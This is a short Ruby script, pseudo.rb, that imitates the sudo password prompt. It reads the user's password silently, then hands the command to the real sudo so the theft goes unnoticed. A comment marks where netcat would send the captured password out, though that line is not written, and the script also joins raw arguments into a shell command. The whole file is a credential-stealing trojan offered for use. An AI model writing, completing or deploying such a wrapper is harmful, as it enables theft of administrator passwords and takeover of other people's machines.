pseudo.rb

require 'io/console'
if ARGV.empty?
    # show help info
    system("/usr/bin/sudo")
else
    username = ENV['USER']
    print "[sudo] password for #{username}: "
    password = STDIN.noecho(&:gets).chomp
    puts ""
    # netcat goes here
    args = ARGV.join(" ")
    system("/usr/bin/sudo #{args}")
end